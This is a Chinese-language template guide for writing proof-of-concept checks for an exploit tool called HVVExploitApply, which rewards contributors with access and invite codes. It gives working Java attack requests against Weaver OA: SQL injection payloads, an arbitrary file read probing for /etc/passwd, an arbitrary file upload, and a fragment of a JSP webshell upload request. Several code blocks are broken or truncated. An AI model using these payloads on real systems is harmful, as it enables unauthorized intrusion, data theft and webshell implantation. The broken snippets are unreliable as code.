

HVVExploitApply - POC 模版文档

贡献可兑换内容

- 6 个 POC 可兑换 3 个测试版本使用权（提前 1 周享用新版本）+ 2 个社区邀请码
- 10 个 POC 可兑换 一季度专版使用权 （在一个季度内享用专版利用工具，需登记身份信息！）+ 5 个社区邀请码

后续待定

基础语法介绍

指定 Cookie 信息：

Java

```
Cookie.put("name","key");
Cookie.put("name2","key2");
...
```

指定 Headers 信息：

Java

```
Headers.put("Content-Type","application/octet-stream");
Headers.put("Cmd","whoami");
...
```

模版介绍

单 GET 请求

只需要访问单次的 GET 请求

Java

```
public static boolean Testname(String url) {
    // Testname 意思是漏洞的名称或者接口，自定义即可，但必须英文字母开头，如果有特殊符号请使用下划线 “_” 代替。

    Map<String, Object> Cookie = new HashMap<>();
    // 新建一个Cookie的map，如果不需要指定Cookie就可以不用管

    Map<String, Object> Headers = new HashMap<>();
    // 新建一个Headers的map，如果不需要指定一些Headers就可以不用管

    boolean good = false;
    // 定义一个接收返回值的变量

    LinkedList<String> Result = Request.Get(url+"需要访问的地址,例如: /1.txt", Cookie, Headers, true);
    // 使用Get方式发送请求，需要提供url参数，如果需要访问指定地址的话通过加号拼接即可，其他参数不用管

    if (Result.size() > 0) {
        // 判断请求是否成功且正常，不用管

        good = Result.get(2).contains("Test");
        // 获取响应源代码然后在源代码中寻找指定内容：“Test”，如果存在则返回true，不存在就返回false

    }
    return good;
    // 返回是否存在漏洞
}
```

```
}
```

单 POST 请求

只需要访问单次的 POST 请求

Java

```
public static boolean Testname(String url) {
    // Testname 意思是漏洞的名称或者接口，自定义即可，但必须英文字母开头，如果有特殊符号请使用下划线 “_” 代替。

    Map<String, Object> Cookie = new HashMap<>();
    // 新建一个Cookie的map，如果不需要指定Cookie就可以不用管

    Map<String, Object> Headers = new HashMap<>();
    // 新建一个Headers的map，如果不需要指定一些Headers就可以不用管

    String Body = "Test";
    // 把需要发送的POST数据放到一个名为Body的变量中

    boolean good = false;
    // 定义一个接收返回值的变量

    LinkedList<String> Result = Request.Post(url+"需要访问的地址,例如: /1.txt";, Body, Cookie, Headers, true);
    // 使用Post方式发送请求，需要提供url参数和Post数据，如果需要访问指定地址的话通过加号拼接即可，其他参数不用管

    if (Result.size() > 0) { // 判断请求是否成功且正常，不用管
        good = Result.get(2).contains("Test");
        // 获取响应源代码然后在源代码中寻找指定内容：“Test”，如果存在则返回true，不存在就返回false
    }

    return good;
    // 返回是否存在漏洞
}
```

多次请求

需要访问多次请求，例如多个 Payload 或者上传漏洞、组合利用漏洞等可能需要这个方式

[Get] 多个 Payload：

Java

```
public static boolean Testname(String url) {
    // Testname 意思是漏洞的名称或者接口，自定义即可，但必须英文字母开头，如果有特殊符号请使用下划线 “_” 代替。

    Map<String, Object> Cookie = new HashMap<>();
    // 新建一个Cookie的map，如果不需要指定Cookie就可以不用管

    Map<String, Object> Headers = new HashMap<>();
    // 新建一个Headers的map，如果不需要指定一些Headers就可以不用管

    boolean good = false;
    // 定义一个接收返回值的变量

    LinkedList<String> Result = Request.Get(url+"第一次需要访问的地址,例如: /payload1.jsp", Cookie, Headers, true);
    // 使用Get方式发送第一次请求，需要提供url参数，如果需要访问指定地址的话通过加号拼接即可，其他参数不用管

    if (Result.size() > 0) {
        // 判断请求是否成功且正常，不用管

        if(!Result.get(2).contains("Test1")){
            // 获取响应源代码然后在源代码中寻找指定内容：“Test1”，如果存在则返回true，不存在就返回false
            // 如果存在上面那个关键词则会执行下列代码

            Result.clear();
        }
    }
}
```

```

// 清空第一次请求的返回信息

Result = Request.Get(url+"第二次需要访问的地址,例如: /payload2.jsp", Cookie, Headers, true);
// 使用Get方式发送第二次请求, 需要提供url参数, 如果需要访问指定地址的话通过加号拼接即可, 其他参数不用管

good = Result.get(2).contains("Test2");
// 获取响应源代码然后在源代码中寻找指定内容: "Test2", 如果存在则返回true, 不存在就返回false

}else {
    good = Result.get(2).contains("Test1");
    // 注意这个else, 这个是if !Result.get(2).contains("Test1") 的else, 所以这里需要判断"Test1"
    // 获取响应源代码然后在源代码中寻找指定内容: "Test1", 如果存在则返回true, 不存在就返回false
}
}
return good;
// 返回是否存在漏洞

}

```

[Post] 上传漏洞:

Java

```

public static boolean Testname(String url) {
    // Testname 意思是漏洞的名称或者接口, 自定义即可, 但必须英文字母开头, 如果有特殊符号请使用下划线 "_" 代替。

    Map<String, Object> Cookie = new HashMap<>();
    // 新建一个Cookie的map, 如果不需要指定Cookie就可以不用管

    Map<String, Object> Headers = new HashMap<>();
    // 新建一个Headers的map, 如果不需要指定一些Headers就可以不用管

    Headers.put("Content-Type", "application/octet-stream");
    // 指定上传文件的文件类型, 因为Type属于Header, 所以直接新增Headers即可

    String Body = "Test";
    // 把需要发送的POST数据放到一个名为Body的变量中
    // 注意: 上传漏洞的Post数据就是要上传的文件数据, 上传内容必须为Test, 文件名必须是txt格式!

    boolean good = false;
    // 定义一个接收返回值的变量

    LinkedList<String> Result = Request.Upload(url+"/page/exportImport/uploadOperation.jsp", "filename", Body);
    // 使用Post方式发送上传文件的请求, 需要提供url参数和Post数据还有要上传的文件名和filename, 如果需要访问指定地址的话通过加号拼接即可
    // filename介绍看下图

    if (Result.size() > 0) {
        // 判断请求是否成功且正常, 不用管

        if (Integer.parseInt(Result.get(1)) == 200){
            // 获取相应状态码并且转换为int类型 (默认是string类型), 然后判断是否等于200, 如果等于200则返回true, 如果不等于200那
            // 如果等于200则执行下面代码
            // 200可以自定义, 因为有一些上传后给你返回的可能是400, 所以要根据漏洞写

            Result.clear();
            // 清空第一次请求的返回信息

            Result = Request.Get(url+"/test.txt", Cookie, Headers, true);
            // 使用Get方式发送第二次请求, 需要提供url参数, 如果需要访问指定地址的话通过加号拼接即可, 其他参数不用管
            // 这里访问的是上传的文件, 看看是否上传成功了

            good = Result.get(2).contains("Test");
            // 获取响应源代码然后在源代码中寻找指定内容: "Test", 如果存在则返回true, 不存在就返回false

        }else {
            good = false;
            // 注意这个else, 这个是if Integer.parseInt(Result.get(1)) == 200 的else, 所以这里直接返回false, 因为既然

```

```
4 x-forwarded-for: 127.0.0.1
5 Connection: close
6
7 -----WebKitFormBoundary6XgyjB6SeCArD3Hc
8 Content-Disposition: form-data; name="file"; filename="test.jsp"
9 Content-Type: application/octet-stream
10
11 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends Cl
12 -----WebKitFormBoundary6XgyjB6SeCArD3Hc--
```

用例

单 GET 请求

泛微OA getdata.jsp SQL注入漏洞 | PeiQi文库

面向网络安全从业者的知识库

wiki.peiqi.tech

wiki.peiqi.tech

wiki.peiqi.tech

```

public static boolean getdatasql(String url) {
    Map<String, Object> Cookie = new HashMap<>();
    Map<String, Object> Headers = new HashMap<>();

    boolean good = false;
    LinkedList<String> Result = Request.Get(url+"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20concat(
    if (Result.size() > 0) {
        good = Result.get(2).contains("1357924680");
    }
    return good;
}

```

```

public static boolean getdatasql(String url) {
    Map<String, Object> Cookie = new HashMap<>();
    Map<String, Object> Headers = new HashMap<>();

    boolean good = false;
    LinkedList<String> Result = Request.Get(url+"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20concat(
    if (Result.size() > 0) {
        good = Result.get(2).contains("1357924680");
    }
    return good;
}

```

单 POST 请求

泛微OA WorkflowCenterTreeData SQL注入漏洞 | PeiQi文库

面向网络安全从业者的知识文库

wiki.peiqi.tech

wiki.peiqi.tech

wiki.peiqi.tech

```
public static boolean WorkflowCenterTreeDataSQL(String url) {  
    Map<String, Object> Cookie = new HashMap<>();  
    Map<String, Object> Headers = new HashMap<>();  
  
    String Body = "formids=1111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%";  
    boolean good = false;  
    LinkedList<String> Result = Request.Post(url+"/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&s");  
    if (Result.size() > 0) {  
        good = Result.get(2).contains("Oracle Database");  
    }  
    return good;  
}
```

```
public static boolean WorkflowCenterTreeDataSQL(String url) {  
    Map<String, Object> Cookie = new HashMap<>();  
    Map<String, Object> Headers = new HashMap<>();  
  
    String Body = "formids=1111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%";  
    boolean good = false;  
    LinkedList<String> Result = Request.Post(url+"/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&s");  
    if (Result.size() > 0) {  
        good = Result.get(2).contains("Oracle Database");  
    }  
    return good;  
}
```

多 Payload 请求

泛微OA E-Weaver SignatureDownLoad 任意文件读取漏洞 | PeiQi文库

面向网络安全从业者的知识库

wiki.peiqi.tech

Java

```
public static boolean SignatureDownLoad(String url) {
    Map<String, Object> Cookie = new HashMap<>();
    Map<String, Object> Headers = new HashMap<>();

    boolean good = false;
    LinkedList<String> Result = Request.Get(url+"/weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20*%20from%20users");

    if (Result.size() > 0) {
        if(!Result.get(2).contains("app support")){
            Result.clear();
            Result = Request.Get(url+"/weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27/%27%20from%20users");
            good = Result.get(2).contains("root:x");
        }else {
            good = Result.get(2).contains("app support");
        }
    }

    return good;
}
```

上传漏洞

泛微OA uploadOperation.jsp 任意文件上传 | PeiQi文库

面向网络安全从业者的知识库

wiki.peiqi.tech


Java

```
static boolean uploadOperation(String url) {
    Map<String, Object> Cookie = new HashMap<>();
    Map<String, Object> Headers = new HashMap<>();
    Headers.put("Content-Type", "application/octet-stream");

    String Body = "Test";
    boolean good = false;
    LinkedList<String> Result = Request.Upload(url+"/page/exportImport/uploadOperation.jsp", "file", Body, "test.txt", Cookie, Headers);

    if (Result.size() > 0) {
        if (Integer.parseInt(Result.get(1)) == 200){
            Result.clear();
            Result = Request.Get(url+"/page/exportImport/fileTransfer/test.txt", Cookie, Headers, true);
            good = Result.get(2).contains("Test");
        }else {
            good = false;
        }
    }

    return good;
}
```

 写好后请将代码发送给微信：**backxyh**